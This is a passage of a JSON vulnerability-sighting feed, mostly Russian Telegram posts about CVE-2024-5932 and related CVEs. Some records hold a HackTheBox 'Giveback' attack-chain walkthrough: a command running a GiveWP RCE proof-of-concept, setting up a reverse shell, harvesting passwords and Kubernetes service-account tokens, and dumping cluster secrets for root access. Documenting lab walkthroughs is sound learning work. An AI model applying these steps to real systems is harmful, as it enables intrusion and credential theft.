"CVE-2024-5932", "type": "seen", "source": "https://t.me/bagl3y_notes/174", "content": "\ud83d\udcac Season 9 Giveback Attack Chain:\n\n#\ufe0f\u20e3 Initial:\n\ud83d\udd34CVE-2024-5932\npython3 CVE-2024-5932-rce.py -u \"http://giveback.htb/donations/the-things-we-need/\" -c \"COMMAND_HERE\" 2>&1 \n\ud83d\udd34\u0421\u043c\u043e\u0442\u0440\u0438\u043c env, \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u043c \u0432\u0441\u0435 \u043f\u0430\u0440\u043e\u043b\u0438\n#\ufe0f\u20e3 Internal:\n\ud83d\udd34CVE-2024-4577 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0435, \u0432\u044b\u0432\u043e\u0434\u0438\u043c back-connect \u043a \u0441\u0435\u0431\u0435 \u043d\u0430 \u0445\u043e\u0441\u0442\n\ud83d\udd34\u0418\u0437\u0443\u0447\u0430\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 /run/secrets/kubernetes.io/serviceaccount, \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 api \u043a\u0443\u0431\u0435\u0440\u0430\n#\ufe0f\u20e3 User.txt:\n\ud83d\udd34\u0417\u0430\u0431\u0438\u0440\u0430\u0435\u043c \u0441\u0435\u043a\u0440\u0435\u0442\u044b $API_SERVER/api/v1/namespaces/$NAMESPACE/secrets\n\ud83d\udd34ssh babywyrm@giveback.htb -> and got user.txt\n#\ufe0f\u20e3 Root.txt:\n\ud83d\udd34sudo /opt/debug - runc (password reuse, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u0441\u0435 \u043f\u0430\u0440\u043e\u043b\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0435\u0441\u0442\u044c, \u0438 \u0432 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435 \u0442\u043e\u0436\u0435)\n\u0434\u0435\u043b\u0430\u0435\u043c \u0441\u0432\u043e\u0439 config.json \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u0432\u043e\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\nsudo /opt/debug run --bundle /tmp/path_to_config_json name", "creation_timestamp": "2026-08-04T13:00:25.975100Z"}, {"uuid": "b1a86157-1756-459f-a7a6-a0814aac64e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/bagl3y_notes/174", "content": "\ud83d\udcac Season 9 Giveback Attack Chain:\n\n#\ufe0f\u20e3 Initial:\n\ud83d\udd34CVE-2024-5932\npython3 CVE-2024-5932-rce.py -u \"http://giveback.htb/donations/the-things-we-need/\" -c \"COMMAND_HERE\" 2>&1 \n\ud83d\udd34\u0421\u043c\u043e\u0442\u0440\u0438\u043c env, \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u043c \u0432\u0441\u0435 \u043f\u0430\u0440\u043e\u043b\u0438\n#\ufe0f\u20e3 Internal:\n\ud83d\udd34CVE-2024-4577 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0435, \u0432\u044b\u0432\u043e\u0434\u0438\u043c back-connect \u043a \u0441\u0435\u0431\u0435 \u043d\u0430 \u0445\u043e\u0441\u0442\n\ud83d\udd34\u0418\u0437\u0443\u0447\u0430\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 /run/secrets/kubernetes.io/serviceaccount, \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 api \u043a\u0443\u0431\u0435\u0440\u0430\n#\ufe0f\u20e3 User.txt:\n\ud83d\udd34\u0417\u0430\u0431\u0438\u0440\u0430\u0435\u043c \u0441\u0435\u043a\u0440\u0435\u0442\u044b $API_SERVER/api/v1/namespaces/$NAMESPACE/secrets\n\ud83d\udd34ssh babywyrm@giveback.htb -> and got user.txt\n#\ufe0f\u20e3 Root.txt:\n\ud83d\udd34sudo /opt/debug - runc (password reuse, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u0441\u0435 \u043f\u0430\u0440\u043e\u043b\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0435\u0441\u0442\u044c, \u0438 \u0432 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435 \u0442\u043e\u0436\u0435)\n\u0434\u0435\u043b\u0430\u0435\u043c \u0441\u0432\u043e\u0439 config.json \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u0432\u043e\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\nsudo /opt/debug run --bundle /tmp/path_to_config_json name", "creation_timestamp": "2026-08-05T00:00:41.702585Z"}, {"uuid": "5317cd02-facf-48fc-92dd-7f1373f2d251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/bagl3y_notes/230", "content": "\ud83c\udd95 \u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0434\u0435\u043e-\u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0430\u0447\u043a\u0438 \ud83d\udc9a (HackTheBox) \u043e\u0442 ippsec'a\n\n\n\u2049\ufe0f Giveback \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0441\u0430\u0439\u0442\u0430 \u043d\u0430 WordPress \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043a RCE \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u043c GiveWP (CVE-2024-5932 \u0438 PoC) \u27a1\ufe0f\u041f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u0432 \u043f\u0435\u0440\u0432\u044b\u0439 Kubernetes pod, \u0447\u0435\u0440\u0435\u0437 env \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d pod - LEGACY_INTRANET_SERVICE \u27a1\ufe0f CVE-2024-4577 \u0432 PHP-CGI \u0432\u0442\u043e\u0440\u043e\u0433\u043e pod'\u0430 (Advisory from famous researcher Orange Tsai)  \u27a1\ufe0f \u0417\u0430\u0431\u0438\u0440\u0430\u0435\u043c jwt-token \u0438\u0437 /var/run/secrets/kubernetes.io/serviceaccount \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 K8s API \u27a1\ufe0f \u0417\u0430\u0431\u0438\u0440\u0430\u0435\u043c \"\u0441\u0435\u043a\u0440\u0435\u0442\u044b\" \u0441 https://$APISERVER/api/v1/namespaces/default/secrets \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043f\u043e SSH \u043a \u0445\u043e\u0441\u0442\u0443 \u27a1\ufe0f root \u0447\u0435\u0440\u0435\u0437 custom runc wrapper (CVE-2024-21626, \u0438\u043d\u0444\u043e \u043f\u043e \u0431\u0430\u0433\u0435)\n\n\n#\ufe0f\u20e3\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e Linux box - Giveback, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Medium\n#\ufe0f\u20e3 \u0410 \u0432\u043e\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 \u043a\u0440\u0443\u0442\u043e\u0433\u043e \u0447\u0435\u043b\u0430 - 0xdf\n\n\n\n\u041f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u043a\u0430 \u043f\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f uv:\ngit clone https://github.com/EQSTLab/CVE-2024-5932.git\ncd CVE-2024-5932/\nuv add --script CVE-2024-5932-rce.py -r requirements.txt\nuv run CVE-2024-5932-rce.py --help\n\n\n\ud83c\udf39 \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u043a\u0430\u043d\u0430\u043b\u0430\n\n#video #HTB #ippsec #0xdf #Walkthroughs #CVE_2024_5932 #CVE_2024_21626 #CVE_2024_4577", "creation_timestamp": "2026-08-05T00:00:41.481547Z"}, {"uuid": "ebe3593e-4037-4c6f-b26f-da0caa3ee394", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/bagl3y_notes/174", "content": "\ud83d\udcac Season 9 Giveback Attack Chain:\n\n#\ufe0f\u20e3 Initial:\n\ud83d\udd34CVE-2024-5932\npython3 CVE-2024-5932-rce.py -u \"http://giveback.htb/donations/the-things-we-need/\" -c \"COMMAND_HERE\" 2>&1 \n\ud83d\udd34\u0421\u043c\u043e\u0442\u0440\u0438\u043c env, \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u043c \u0432\u0441\u0435 \u043f\u0430\u0440\u043e\u043b\u0438\n#\ufe0f\u20e3 Internal:\n\ud83d\udd34CVE-2024-4577 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0435, \u0432\u044b\u0432\u043e\u0434\u0438\u043c back-connect \u043a \u0441\u0435\u0431\u0435 \u043d\u0430 \u0445\u043e\u0441\u0442\n\ud83d\udd34\u0418\u0437\u0443\u0447\u0430\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 /run/secrets/kubernetes.io/serviceaccount, \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 api \u043a\u0443\u0431\u0435\u0440\u0430\n#\ufe0f\u20e3 User.txt:\n\ud83d\udd34\u0417\u0430\u0431\u0438\u0440\u0430\u0435\u043c \u0441\u0435\u043a\u0440\u0435\u0442\u044b $API_SERVER/api/v1/namespaces/$NAMESPACE/secrets\n\ud83d\udd34ssh babywyrm@giveback.htb -> and got user.txt\n#\ufe0f\u20e3 Root.txt:\n\ud83d\udd34sudo /opt/debug - runc (password reuse, \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u0441\u0435 \u043f\u0430\u0440\u043e\u043b\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0435\u0441\u0442\u044c, \u0438 \u0432 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435 \u0442\u043e\u0436\u0435)\n\u0434\u0435\u043b\u0430\u0435\u043c \u0441\u0432\u043e\u0439 config.json \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u0432\u043e\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\nsudo /opt/debug run --bundle /tmp/path_to_config_json name", "creation_timestamp": "2026-08-06T00:00:39.833840Z"}, {"uuid": "f18a5bf8-bf43-4fc8-8ed3-7f201958d00c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "published-proof-of-concept", "source": "https://t.me/bagl3y_notes/230", "content": "\ud83c\udd95 \u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0434\u0435\u043e-\u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0430\u0447\u043a\u0438 \ud83d\udc9a (HackTheBox) \u043e\u0442 ippsec'a\n\n\n\u2049\ufe0f Giveback \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0441\u0430\u0439\u0442\u0430 \u043d\u0430 WordPress \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043a RCE \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u043c GiveWP (CVE-2024-5932 \u0438 PoC) \u27a1\ufe0f\u041f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u0432 \u043f\u0435\u0440\u0432\u044b\u0439 Kubernetes pod, \u0447\u0435\u0440\u0435\u0437 env \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d pod - LEGACY_INTRANET_SERVICE \u27a1\ufe0f CVE-2024-4577 \u0432 PHP-CGI \u0432\u0442\u043e\u0440\u043e\u0433\u043e pod'\u0430 (Advisory from famous researcher Orange Tsai)  \u27a1\ufe0f \u0417\u0430\u0431\u0438\u0440\u0430\u0435\u043c jwt-token \u0438\u0437 /var/run/secrets/kubernetes.io/serviceaccount \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 K8s API \u27a1\ufe0f \u0417\u0430\u0431\u0438\u0440\u0430\u0435\u043c \"\u0441\u0435\u043a\u0440\u0435\u0442\u044b\" \u0441 https://$APISERVER/api/v1/namespaces/default/secrets \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043f\u043e SSH \u043a \u0445\u043e\u0441\u0442\u0443 \u27a1\ufe0f root \u0447\u0435\u0440\u0435\u0437 custom runc wrapper (CVE-2024-21626, \u0438\u043d\u0444\u043e \u043f\u043e \u0431\u0430\u0433\u0435)\n\n\n#\ufe0f\u20e3\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u044d\u0442\u043e Linux box - Giveback, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Medium\n#\ufe0f\u20e3 \u0410 \u0432\u043e\u0442 \u0435\u0449\u0435 \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0442 \u043a\u0440\u0443\u0442\u043e\u0433\u043e \u0447\u0435\u043b\u0430 - 0xdf\n\n\n\n\u041f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u043a\u0430 \u043f\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f uv:\ngit clone https://github.com/EQSTLab/CVE-2024-5932.git\ncd CVE-2024-5932/\nuv add --script CVE-2024-5932-rce.py -r requirements.txt\nuv run CVE-2024-5932-rce.py --help\n\n\n\ud83c\udf39 \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u043a\u0430\u043d\u0430\u043b\u0430\n\n#video #HTB #ippsec #0xdf #Walkthroughs #CVE_2024_5932 #CVE_2024_21626 #CVE_2024_4577", "creation_timestamp": "2026-08-06T00:00:40.129125Z"}, {"uuid": "c4877753-aa34-492c-ab81-e04230f898bb", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b671c22a-21bc-4b98-9ffc-88b9435a5208", "content": "", "creation_timestamp": "2026-06-19T12:46:32.384533Z"}, {"uuid": "2e61fbf4-db90-491f-88cf-1a6e5a3f3836", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5982", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mou7tumolz2j", "content": "\ud83d\udccc CVE-2024-5982 - A path traversal vulnerability exists in the latest version of gaizhenbiao/chuanhuchatgpt. The vulnerability arises from unsanitized input handling in... https://www.cyberhub.blog/cves/CVE-2024-5982", "creation_timestamp": "2026-06-22T06:07:06.882778Z"}, {"uuid": "3fe823dc-ca72-44c8-bb21-fef7154f574d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5982", "type": "seen", "source": "https://t.me/ZerodayAlert/370", "content": "\u041d\u0430\u0439\u0434\u0435\u043d\u044b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0430\u0433\u0438 \u0432 Lunary, LocalAI \u0438 ChuanhuChatGPT\n\n\ud83e\udd16 \u0412 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f Protect AI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e \u0431\u043e\u043b\u0435\u0435 30 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044f\u0445 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f. \u041e\u0441\u043e\u0431\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0430\u0433\u0438 \u0432 Lunary \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9.1, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044e.\n\n\u26a1\ufe0f ChuanhuChatGPT \u0438 LocalAI \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u0427\u0435\u0440\u0435\u0437 CVE-2024-5982 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0430 CVE-2024-6983 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.\n\n\ud83d\udee1 \u041d\u0430\u0439\u0434\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445: Deep Java Library \u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u043e\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 NVIDIA NeMo \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0431\u0430\u0433\u0430 CVE-2024-0129.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0418\u0418 #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435\n\n@ZerodayAlert", "creation_timestamp": "2026-08-06T07:00:04.669148Z"}, {"uuid": "6920ab6c-2e5e-4715-b70e-07541296a2b0", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ba27a083-fcb3-4e00-9e7a-d0297ccecd34", "content": "", "creation_timestamp": "2026-06-23T14:06:00.317814Z"}, {"uuid": "bd189719-e8b5-4564-a4a0-c219e78594fc", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-5910", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f1cbc51e-dd34-444c-b7dd-d44caf81f394", "content": "", "creation_timestamp": "2026-06-30T11:54:49.966917Z"}, {"uuid": "995b48fa-24bc-4f99-a528-37262f590ee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5982", "type": "seen", "source": "https://t.me/ZerodayAlert/370", "content": "\u041d\u0430\u0439\u0434\u0435\u043d\u044b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0430\u0433\u0438 \u0432 Lunary, LocalAI \u0438 ChuanhuChatGPT\n\n\ud83e\udd16 \u0412 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f Protect AI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e \u0431\u043e\u043b\u0435\u0435 30 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044f\u0445 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f. \u041e\u0441\u043e\u0431\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0430\u0433\u0438 \u0432 Lunary \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9.1, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044e.\n\n\u26a1\ufe0f ChuanhuChatGPT \u0438 LocalAI \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u0427\u0435\u0440\u0435\u0437 CVE-2024-5982 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0430 CVE-2024-6983 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.\n\n\ud83d\udee1 \u041d\u0430\u0439\u0434\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445: Deep Java Library \u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u043e\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 NVIDIA NeMo \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0431\u0430\u0433\u0430 CVE-2024-0129.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0418\u0418 #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435\n\n@ZerodayAlert", "creation_timestamp": "2026-08-07T00:19:29.285207Z"}, {"uuid": "4a57c71c-6d9c-498f-9e94-d6c839cc44e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://t.me/ZerodayAlert/303", "content": "\u041f\u043b\u0430\u0433\u0438\u043d GiveWP \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u0443\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043d\u0434\u0440\u0430\u0439\u0437\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0439\n\n\ud83d\udd24 \u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435 GiveWP \u0434\u043b\u044f WordPress \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 10 \u043f\u043e 